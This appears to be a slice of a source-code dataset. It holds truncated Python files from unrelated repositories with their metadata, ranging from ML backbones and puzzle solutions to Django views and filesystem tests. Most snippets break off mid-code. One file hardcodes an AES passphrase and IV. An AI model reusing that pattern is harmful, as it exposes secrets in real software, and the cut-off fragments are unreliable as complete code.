strs[row] += s[... | 0 | 0 | 0 | 520 | 0 | 0 | 0 | 0 | 22 |
dcf43379ba8d2124b5769ec2be6a5f3b4c271a9a | 2,301 | py | Python | examples/key_view.py | claws/txcosm | c5289bcb40de46a3fc4b854476d36c4839f50e45 | [
"MIT"
] | null | null | null | examples/key_view.py | claws/txcosm | c5289bcb40de46a3fc4b854476d36c4839f50e45 | [
"MIT"
] | null | null | null | examples/key_view.py | claws/txcosm | c5289bcb40de46a3fc4b854476d36c4839f50e45 | [
"MIT"
] | 1 | 2018-03-04T20:14:04.000Z | 2018-03-04T20:14:04.000Z | #!/usr/bin/env python
"""
Lists key(s) detail(s) visible to the supplied Cosm user API key
To use this script you must create a text file containing your API key
and pass it to this script using the --keyfile argument as follows:
List all keys visible to supplied key:
$ key_view.py --keyfile=/path/to/apikey/file
Li... | 29.126582 | 116 | 0.681008 | #!/usr/bin/env python
"""
Lists key(s) detail(s) visible to the supplied Cosm user API key
To use this script you must create a text file containing your API key
and pass it to this script using the --keyfile argument as follows:
List all keys visible to supplied key:
$ key_view.py --keyfile=/path/to/apikey/file
Li... | 0 | 793 | 0 | 0 | 0 | 0 | 0 | 0 | 23 |
7fe84b3ee1b5f1958f297736edded77c0dfe5000 | 28,059 | py | Python | mmdet/models/backbones/deep_shallow_net.py | ziming-liu/ObjectDet | 6e25fa784114b9773b052d9d5465aa6fed93468a | [
"Apache-2.0"
] | null | null | null | mmdet/models/backbones/deep_shallow_net.py | ziming-liu/ObjectDet | 6e25fa784114b9773b052d9d5465aa6fed93468a | [
"Apache-2.0"
] | null | null | null | mmdet/models/backbones/deep_shallow_net.py | ziming-liu/ObjectDet | 6e25fa784114b9773b052d9d5465aa6fed93468a | [
"Apache-2.0"
] | null | null | null | import torch
import torch.nn as nn
import os
import torch
from torch.utils import model_zoo
from mmcv.runner import get_dist_info
from torch.utils import model_zoo
def load_url_dist(url):
""" In distributed setting, this function only download checkpoint at
local rank 0 """
rank, world_size ... | 36.72644 | 112 | 0.536085 | import logging
import torch
from torch.nn import functional as F
import torch.nn as nn
import torch.utils.checkpoint as cp
from mmcv.runner.checkpoint import open_mmlab_model_urls, load_state_dict
from torch.nn.modules.batchnorm import _BatchNorm
import os
import os.path as osp
import pkgutil
import time
i... | 0 | 16,680 | 0 | 7,633 | 0 | 2,297 | 0 | 261 | 568 |
f6ed54fa8803345e1f0243f96a64d7278490af2f | 520 | py | Python | 2016/day6.py | bloy/adventofcode | 3c98325666f18bfb1af08aac876156e055eed9f6 | [
"MIT"
] | null | null | null | 2016/day6.py | bloy/adventofcode | 3c98325666f18bfb1af08aac876156e055eed9f6 | [
"MIT"
] | 2 | 2019-12-01T15:44:32.000Z | 2019-12-01T15:44:32.000Z | 2016/day6.py | bloy/adventofcode | 3c98325666f18bfb1af08aac876156e055eed9f6 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import pprint
if __name__ == '__main__':
with open('day6_input.txt') as f:
data = [line for line in f.read().split("\n") if line != '']
pprint.pprint(solve1(data))
pprint.pprint(solve2(data))
| 23.636364 | 70 | 0.632692 | #!/usr/bin/env python3
import pprint
import collections
def solve1(data):
return "".join([collections.Counter(position).most_common()[0][0]
for position in zip(*data)])
def solve2(data):
return "".join([collections.Counter(position).most_common()[-1][0]
for position in zip(*data)])
... | 0 | 0 | 0 | 0 | 0 | 215 | 0 | -3 | 68 |
37bff107bf700357a12e119952385f7af6502dbe | 203 | py | Python | Python/MEMO.py | neonio/datastructure101 | ab91733fd44b4bb23a10b670e128686ba4366f36 | [
"MIT"
] | null | null | null | Python/MEMO.py | neonio/datastructure101 | ab91733fd44b4bb23a10b670e128686ba4366f36 | [
"MIT"
] | null | null | null | Python/MEMO.py | neonio/datastructure101 | ab91733fd44b4bb23a10b670e128686ba4366f36 | [
"MIT"
] | null | null | null |
# =======================
| 14.5 | 39 | 0.605911 | from typing import NamedTuple, Optional
class Response(NamedTuple):
status_code: int
data: str
def request() -> Optional[Response]:
return Response(100, '33')
# =======================
| 0 | 0 | 0 | 41 | 0 | 46 | 0 | 18 | 68 |
a8bac8e3172d4d562a0167d4663f1f6752d89127 | 364 | py | Python | src/oolongt/typings.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | 2 | 2020-02-18T09:13:13.000Z | 2021-06-12T13:16:13.000Z | src/oolongt/typings.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | null | null | null | src/oolongt/typings.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | 1 | 2019-05-05T14:43:53.000Z | 2019-05-05T14:43:53.000Z | """Custom type definitions"""
import pathlib # noqa: F401
import typing
PathOrString = typing.Union[str, pathlib.Path]
OptionalString = typing.Optional[str]
StringList = typing.List[str]
AnyList = typing.List[typing.Any]
OptionalStringList = typing.Union[OptionalString, StringList]
DictOfAny = typing.Dict[str, typing... | 30.333333 | 61 | 0.78022 | """Custom type definitions"""
import pathlib # noqa: F401
import typing
PathOrString = typing.Union[str, pathlib.Path]
OptionalString = typing.Optional[str]
StringList = typing.List[str]
AnyList = typing.List[typing.Any]
OptionalStringList = typing.Union[OptionalString, StringList]
DictOfAny = typing.Dict[str, typing... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
05fd6304e9a7cd3e2f95235e3c2b56d8d155f438 | 1,044 | py | Python | Python/Greedy/135_Candy.py | jq-77/leetcode | a8a10655fe39bc4f4643540f6f0f2ff4208d3529 | [
"MIT"
] | null | null | null | Python/Greedy/135_Candy.py | jq-77/leetcode | a8a10655fe39bc4f4643540f6f0f2ff4208d3529 | [
"MIT"
] | null | null | null | Python/Greedy/135_Candy.py | jq-77/leetcode | a8a10655fe39bc4f4643540f6f0f2ff4208d3529 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Tue Jul 6 16:53:38 2021
@author: keikei
"""
"""
There are n children standing in a line.
Each child is assigned a rating value given in the integer array ratings.
You are giving candies to these children subjected to the following requirements:
Each child must have at least... | 28.216216 | 97 | 0.590038 | # -*- coding: utf-8 -*-
"""
Created on Tue Jul 6 16:53:38 2021
@author: keikei
"""
"""
There are n children standing in a line.
Each child is assigned a rating value given in the integer array ratings.
You are giving candies to these children subjected to the following requirements:
Each child must have at least... | 0 | 0 | 0 | 519 | 0 | 0 | 0 | 0 | 23 |
cb282d58203417af2067b2527f6d82b5ba18ff80 | 153 | py | Python | libplf/__init__.py | yyyyyp/libplf | fb73e3c55277e3e94c63e596513b188fedadcf35 | [
"MIT"
] | 2 | 2020-06-10T11:38:50.000Z | 2020-06-11T10:22:39.000Z | libplf/__init__.py | yyyyyp/libplf | fb73e3c55277e3e94c63e596513b188fedadcf35 | [
"MIT"
] | null | null | null | libplf/__init__.py | yyyyyp/libplf | fb73e3c55277e3e94c63e596513b188fedadcf35 | [
"MIT"
] | 3 | 2020-06-11T10:25:02.000Z | 2020-06-12T03:01:34.000Z | from __future__ import annotations
| 25.5 | 34 | 0.79085 | from __future__ import annotations
from .vector import T as vector
from .point import T as point
from .piece import T as piece
from .plf import T as plf
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 30 | 88 |
32e9fc28b63b9d40aed8a6fb8a6ab87a53e9f68f | 32,598 | py | Python | torchvision/edgeailite/xnn/quantize/quant_train_module.py | TexasInstruments/vision | abaf29de0798e8e8d3f996dc272cd3c515562695 | [
"BSD-3-Clause"
] | 21 | 2021-10-08T02:47:56.000Z | 2022-03-29T14:17:04.000Z | torchvision/xnn/quantize/quant_train_module.py | leidi1989/edgeai-torchvision | 94bd2d8a01fac800e7df82dd710b3cc13f9a24ea | [
"BSD-3-Clause"
] | 9 | 2021-11-15T06:43:54.000Z | 2022-03-16T04:47:52.000Z | torchvision/xnn/quantize/quant_train_module.py | leidi1989/edgeai-torchvision | 94bd2d8a01fac800e7df82dd710b3cc13f9a24ea | [
"BSD-3-Clause"
] | 9 | 2021-11-11T11:17:16.000Z | 2022-03-08T04:26:10.000Z | #################################################################################
# Copyright (c) 2018-2021, Texas Instruments Incorporated - http://www.ti.com
# All Rights Reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditio... | 47.106936 | 171 | 0.612676 | #################################################################################
# Copyright (c) 2018-2021, Texas Instruments Incorporated - http://www.ti.com
# All Rights Reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditio... | 0 | 0 | 0 | 29,500 | 0 | 234 | 0 | -2 | 266 |
87b52778a96116017fba7b57f8e6ffac96f10468 | 2,998 | py | Python | ml_ephys/synthesis/p_synthesize_random_firings.py | ferchaure/ml_ephys | 9fc30d0270a0f98a6ca7c622f7377cd5c6786302 | [
"Apache-2.0"
] | 1 | 2019-03-31T00:30:39.000Z | 2019-03-31T00:30:39.000Z | ml_ephys/synthesis/p_synthesize_random_firings.py | ferchaure/ml_ephys | 9fc30d0270a0f98a6ca7c622f7377cd5c6786302 | [
"Apache-2.0"
] | 10 | 2018-05-05T14:55:01.000Z | 2021-04-15T15:24:06.000Z | ml_ephys/synthesis/p_synthesize_random_firings.py | ferchaure/ml_ephys | 9fc30d0270a0f98a6ca7c622f7377cd5c6786302 | [
"Apache-2.0"
] | 6 | 2018-07-05T20:06:30.000Z | 2020-11-27T12:19:03.000Z | import numpy as np
from mountainlab_pytools import mdaio
processor_name='ephys.synthesize_random_firings'
processor_version='0.14'
def synthesize_random_firings(*,firings_out,K=20,samplerate=30000,duration=60):
"""
Synthesize random waveforms for use in creating a synthetic timeseries dataset
Parameters
... | 31.893617 | 133 | 0.672448 | import numpy as np
from mountainlab_pytools import mdaio
processor_name='ephys.synthesize_random_firings'
processor_version='0.14'
def synthesize_random_firings(*,firings_out,K=20,samplerate=30000,duration=60):
"""
Synthesize random waveforms for use in creating a synthetic timeseries dataset
Parameters
... | 0 | 0 | 0 | 0 | 0 | 859 | 0 | 0 | 85 |
73a132aea6d1ad29dc0db783095d9d49ff26ff2f | 6,149 | py | Python | utils/noise.py | jcaw/talon_conf | a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2 | [
"MIT"
] | 9 | 2020-05-13T19:41:54.000Z | 2022-02-04T06:18:21.000Z | utils/noise.py | jcaw/talon_conf | a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2 | [
"MIT"
] | null | null | null | utils/noise.py | jcaw/talon_conf | a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2 | [
"MIT"
] | 2 | 2020-06-06T15:10:58.000Z | 2022-02-04T06:18:01.000Z |
hiss_mapper = LongNoiseMapper("hiss")
pop_mapper = ShortNoiseMapper("pop")
| 34.740113 | 88 | 0.629696 | import threading
import logging
import inspect
from talon import cron, noise, Context
from user.utils import context_active
class _LongNoiseHandler(object):
def __init__(self, handler, gap_tolerance=0):
# Check now to prevent deferred errors.
self._assert_context_manager(handler)
assert i... | 0 | 622 | 0 | 5,229 | 0 | 0 | 0 | 14 | 203 |
3b1ca24788eea5857eb0b94da235d619d1fc5412 | 252 | py | Python | locale/pot/api/core/_autosummary/pyvista-DataSetFilters-surface_indices-1.py | tkoyama010/pyvista-doc-translations | 23bb813387b7f8bfe17e86c2244d5dd2243990db | [
"MIT"
] | 4 | 2020-08-07T08:19:19.000Z | 2020-12-04T09:51:11.000Z | locale/pot/api/core/_autosummary/pyvista-UnstructuredGrid-surface_indices-1.py | tkoyama010/pyvista-doc-translations | 23bb813387b7f8bfe17e86c2244d5dd2243990db | [
"MIT"
] | 19 | 2020-08-06T00:24:30.000Z | 2022-03-30T19:22:24.000Z | locale/pot/api/core/_autosummary/pyvista-RectilinearGrid-surface_indices-1.py | tkoyama010/pyvista-doc-translations | 23bb813387b7f8bfe17e86c2244d5dd2243990db | [
"MIT"
] | 1 | 2021-03-09T07:50:40.000Z | 2021-03-09T07:50:40.000Z | # Return the first 10 surface indices of an UnstructuredGrid.
#
from pyvista import examples
grid = examples.load_hexbeam()
ind = grid.surface_indices()
ind[:10] # doctest:+SKIP
# Expected:
## pyvista_ndarray([ 0, 2, 36, 27, 7, 8, 81, 1, 18, 4])
| 28 | 61 | 0.690476 | # Return the first 10 surface indices of an UnstructuredGrid.
#
from pyvista import examples
grid = examples.load_hexbeam()
ind = grid.surface_indices()
ind[:10] # doctest:+SKIP
# Expected:
## pyvista_ndarray([ 0, 2, 36, 27, 7, 8, 81, 1, 18, 4])
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
ebf3343663f678b01dee5e92764db235064e9d20 | 670 | py | Python | lane/test.py | KITTCAMP-CODE/puppy | f222c935ee474eb6e9dec2ff60f05415eab34c90 | [
"Apache-2.0"
] | 2 | 2018-12-23T06:47:18.000Z | 2019-07-22T16:42:09.000Z | lane/test.py | KITTCAMP-CODE/puppy | f222c935ee474eb6e9dec2ff60f05415eab34c90 | [
"Apache-2.0"
] | null | null | null | lane/test.py | KITTCAMP-CODE/puppy | f222c935ee474eb6e9dec2ff60f05415eab34c90 | [
"Apache-2.0"
] | null | null | null | import cv2
import urllib2
import numpy as np
import sys
host = "192.168.1.85:8080"
if len(sys.argv)>1:
host = sys.argv[1]
hoststr = 'http://' + host + '/?action=stream'
print 'Streaming ' + hoststr
print 'Print Esc to quit'
stream=urllib2.urlopen(hoststr)
bytes=''
while True:
bytes+=stream.read(1024)
a = b... | 25.769231 | 68 | 0.585075 | import cv2
import urllib2
import numpy as np
import sys
host = "192.168.1.85:8080"
if len(sys.argv)>1:
host = sys.argv[1]
hoststr = 'http://' + host + '/?action=stream'
print 'Streaming ' + hoststr
print 'Print Esc to quit'
stream=urllib2.urlopen(hoststr)
bytes=''
while True:
bytes+=stream.read(1024)
a = b... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
bf1a61c96750e2fa06a9e8b98caf15fcd750196f | 415 | py | Python | CCC/ccc05s2.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | CCC/ccc05s2.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | CCC/ccc05s2.py | devAdhiraj/coding-problems | e15d0eeb025e1ad503c73eb9280e6226fd979164 | [
"MIT"
] | null | null | null | import sys
input = sys.stdin.readline
xmax, ymax = list(map(int, input().split()))
x, y = list(map(int, input().split()))
posx, posy = 0, 0
while(x != 0 or y != 0):
posx += x
posy += y
if posx < 0:
posx = 0
if posx > xmax:
posx = xmax
if posy < 0:
posy = 0
if posy > ... | 17.291667 | 44 | 0.496386 | import sys
input = sys.stdin.readline
xmax, ymax = list(map(int, input().split()))
x, y = list(map(int, input().split()))
posx, posy = 0, 0
while(x != 0 or y != 0):
posx += x
posy += y
if posx < 0:
posx = 0
if posx > xmax:
posx = xmax
if posy < 0:
posy = 0
if posy > ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
66ad69d9def08bbec4328a2fede290c1141f6585 | 51,895 | py | Python | twext/enterprise/test/test_adbapi2.py | troglodyne/ccs-twistedextensions | 1b43cb081ba68ae310140a9e853e041cd6362625 | [
"Apache-2.0"
] | 23 | 2016-08-14T07:20:27.000Z | 2021-11-08T09:47:45.000Z | twext/enterprise/test/test_adbapi2.py | DalavanCloud/ccs-twistedextensions | 2c4046df88873dcf33fba7840ed90e4238dcbec7 | [
"Apache-2.0"
] | 2 | 2016-12-15T17:51:49.000Z | 2019-05-12T15:59:03.000Z | twext/enterprise/test/test_adbapi2.py | DalavanCloud/ccs-twistedextensions | 2c4046df88873dcf33fba7840ed90e4238dcbec7 | [
"Apache-2.0"
] | 20 | 2016-08-17T06:51:00.000Z | 2022-03-26T11:55:56.000Z | ##
# Copyright (c) 2010-2017 Apple Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | 37.990483 | 93 | 0.639946 | ##
# Copyright (c) 2010-2017 Apple Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | 0 | 631 | 0 | 49,233 | 0 | 0 | 0 | 670 | 698 |
3d9e590f0326a1b7c2d6a6e3b5c5eb2083013dc9 | 4,873 | py | Python | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | # coding: utf-8
#
# Project: Azimuthal integration
# https://github.com/silx-kit/pyFAI
#
# Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation ... | 37.775194 | 148 | 0.652781 | # coding: utf-8
#
# Project: Azimuthal integration
# https://github.com/silx-kit/pyFAI
#
# Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation ... | 18 | 0 | 0 | 3,234 | 0 | 0 | 0 | -19 | 68 |
c0fabdc2c7a0b4d1b583e49cf3de720ce360b9f6 | 73 | py | Python | src/credentials.py | flopeters1337/L_orang-chatbot-module | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | 1 | 2018-03-28T08:45:12.000Z | 2018-03-28T08:45:12.000Z | src/credentials.py | flopeters1337/Palantir-project | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | 2 | 2018-03-22T20:34:23.000Z | 2018-03-22T20:35:10.000Z | src/credentials.py | flopeters1337/Palantir-project | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | null | null | null | aes_passphrase = "Palantir_is_the_best1337"
aes_iv = b'wtf1sd1sw4t1sd1s'
| 24.333333 | 43 | 0.835616 | aes_passphrase = "Palantir_is_the_best1337"
aes_iv = b'wtf1sd1sw4t1sd1s'
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
71f43ef8a28e18f93e80ba721bc1c16573980398 | 109 | py | Python | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 9 | 2020-08-12T15:33:57.000Z | 2021-12-31T06:45:36.000Z | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 1 | 2020-08-13T12:57:19.000Z | 2020-08-14T06:20:20.000Z | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 1 | 2020-11-26T10:40:36.000Z | 2020-11-26T10:40:36.000Z | from .main import ConstContextFilter, ContextVarFilter
__all__ = ("ContextVarFilter", "ConstContextFilter")
| 27.25 | 54 | 0.816514 | from .main import ConstContextFilter, ContextVarFilter
__all__ = ("ContextVarFilter", "ConstContextFilter")
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5e0294599126174b834f8a77e6715db98ebb4b43 | 3,807 | py | Python | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | null | null | null | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | 1 | 2020-05-14T13:20:45.000Z | 2020-05-14T19:08:06.000Z | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | 5 | 2020-05-17T17:00:43.000Z | 2020-07-25T06:19:57.000Z | from select import select
import pyqrcode
from termcolor import colored
def wait_until_error(f, timeout=0.5):
""" Wait for timeout seconds until the function stops throwing any errors. """
return inner
def send_until_writable(timeout=0.5):
""" This will send a message to the socket only when it is writ... | 27.586957 | 100 | 0.558182 | import time
import os
from select import select
import pyqrcode
import subprocess
import re
from magic import Magic
from audio_extract import convert2mkv
from termcolor import colored
import threading
import itertools
import sys
def wait_until_error(f, timeout=0.5):
""" Wait for timeout seconds until the function... | 0 | 0 | 0 | 472 | 0 | 1,954 | 0 | -41 | 344 |
c75118ae6d156fc17e88797980a87b77a378b9fc | 9,387 | py | Python | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | """Validate NZ bank account number.
Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali... | 33.888087 | 290 | 0.551188 | """Validate NZ bank account number.
Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali... | 0 | 0 | 0 | 0 | 0 | 1,000 | 0 | 8 | 204 |
333f3126eda430d2e5d660da41db581707cf0684 | 2,959 | py | Python | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | 1 | 2019-08-28T11:03:13.000Z | 2019-08-28T11:03:13.000Z | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | null | null | null | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import, print_function
DEFAULT_SAVED_SEARCHES = [
{
'name': 'Unresolved Issues',
'query': 'is:unresolved',
'is_default': True
},
{
'name': 'Needs Triage',
'query': 'is:unresolved is:unassigned'
},
{
'name': 'Assigned T... | 30.505155 | 88 | 0.658668 | from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.models.search_common import SearchType
DEFAULT_SAVED_SEARCHES = [
{
'name': 'Unresolved Issues',
'qu... | 0 | 312 | 0 | 1,718 | 0 | 0 | 0 | 92 | 135 |
e28195c9b8b421f635270963d0f0cacc0dfd62c2 | 3,327 | py | Python | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | null | null | null | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | null | null | null | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | 1 | 2022-02-23T13:48:06.000Z | 2022-02-23T13:48:06.000Z | import sys
import os
import numpy as np
sys.path.append('partools')
sys.path.append('scitools')
sys.path.append('util')
import parallel as par
import tensorflow as tf
import tensorflowUtils as tfu
from tensorflow.keras.models import load_model
from myProgressBar import printProgressBar
par.printRoot('GENERATE TF RECOR... | 33.94898 | 157 | 0.676886 | import itertools
import time
import h5py
import sys
import os
import scipy.special
import numpy as np
sys.path.append('partools')
sys.path.append('scitools')
sys.path.append('util')
import parallel as par
from filters import boxFilter2D, upSample2D
import tensorflow as tf
import tensorflowUtils as tfu
from tensorflow.k... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -4 | 110 |
a46c86484f7806f1d9c0d84bae5aff09e7a16b79 | 5,729 | py | Python | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render
import logging
# Get an instance of a logger
logger = logging.getLogger(__name__)
# Create your views here.
# Update the `get_dealerships` view to render the index page with a list of dealerships
# Create a `get_dealer_details` view to render the reviews of a dealer
# def g... | 38.709459 | 114 | 0.635364 | from django.shortcuts import render
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.models import User
from django.shortcuts import get_object_or_404, render, redirect
from .models import CarDealer, DealerReview, CarModel, CarMake
from .restapis import get_dealers_from_cf,get_dealer_... | 0 | 0 | 0 | 0 | 0 | 4,647 | 0 | 253 | 378 |
771bbda3c45ed195a15054f8b4b2763ac843dba6 | 509 | py | Python | app/src/accounts/urls.py | Mahmoud-Kssab/BloodBank-master | b65cf17187255ab4b6d21a2247642a0c4410ab86 | [
"MIT"
] | null | null | null | app/src/accounts/urls.py | Mahmoud-Kssab/BloodBank-master | b65cf17187255ab4b6d21a2247642a0c4410ab86 | [
"MIT"
] | 3 | 2021-05-11T11:16:20.000Z | 2022-02-27T03:25:49.000Z | app/src/accounts/urls.py | abdallah-5/BloodBank | dcf38c67688dd5df1697a831f5111f547191fa81 | [
"MIT"
] | 1 | 2021-07-31T12:07:18.000Z | 2021-07-31T12:07:18.000Z | from django.conf.urls import url
from . import views
from django.contrib.auth.views import LoginView, LogoutView
app_name='accounts'
urlpatterns = [
url(r'^$', views.home , name='home'),
url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"),
url(r'^logout$', LogoutView),
url(r'^... | 31.8125 | 82 | 0.652259 | from django.conf.urls import url
from . import views
from django.contrib.auth.views import LoginView,LogoutView
app_name='accounts'
urlpatterns = [
url(r'^$', views.home , name='home'),
url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"),
url(r'^logout$', LogoutView),
url(r'^s... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -1 | 0 |
5e4a466e293ac085a59c395fe81568a497cf9e23 | 1,575 | py | Python | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | 20 | 2017-08-11T01:01:59.000Z | 2021-07-18T06:09:44.000Z | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | null | null | null | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | 8 | 2017-08-11T03:23:02.000Z | 2019-10-28T14:50:36.000Z | #!/usr/bin/env python
# encoding: utf-8
def valu_result(pre_y, real_y):
"""
"""
pre_count = {}
all_count = {}
for pre, real in zip(pre_y, real_y):
if real not in pre_count:
pre_count[real] = {}
all_count[real] = all_count.get(real, 0) + 1
if pre == real:
... | 27.631579 | 66 | 0.558095 | #!/usr/bin/env python
# encoding: utf-8
import os
import numpy as np
import knn
def load_data(file_path):
X = []
Y = []
for file_name in os.listdir(file_path):
label = file_name.split("_")[0]
Y.append(int(label))
f = open(os.path.join(file_path, file_name))
lines = f.readli... | 72 | 0 | 0 | 0 | 0 | 757 | 0 | -26 | 113 |
12da6e6c01f311d6c770cb9696a00b32b7b3da9c | 47,400 | py | Python | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | null | null | null | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | 2 | 2021-12-29T21:43:29.000Z | 2022-01-27T10:45:49.000Z | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | null | null | null | from pathlib import PurePath
from typing import Any, Callable, Coroutine
from platform_storage_api.fs.local import (FileSystem)
RemoveMethod = Callable[[FileSystem, PurePath, bool], Coroutine[Any, Any, None]]
# helper methods for working with sets of statuses
| 34.223827 | 88 | 0.621814 | import os
import shutil
import tempfile
import uuid
from collections.abc import AsyncIterator, Iterable, Iterator
from pathlib import Path, PurePath
from typing import Any, Callable, Coroutine
from unittest import mock
import pytest
import pytest_asyncio
from platform_storage_api.fs.local import (
FileStatus,
... | 0 | 7,708 | 36,559 | 194 | 0 | 0 | 0 | 105 | 2,562 |
a1ef562e505fbe47039e9ab84cc794eec579be82 | 3,009 | py | Python | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
"MIT"
] | 1 | 2022-02-18T19:19:50.000Z | 2022-02-18T19:19:50.000Z | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
"MIT"
] | null | null | null | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
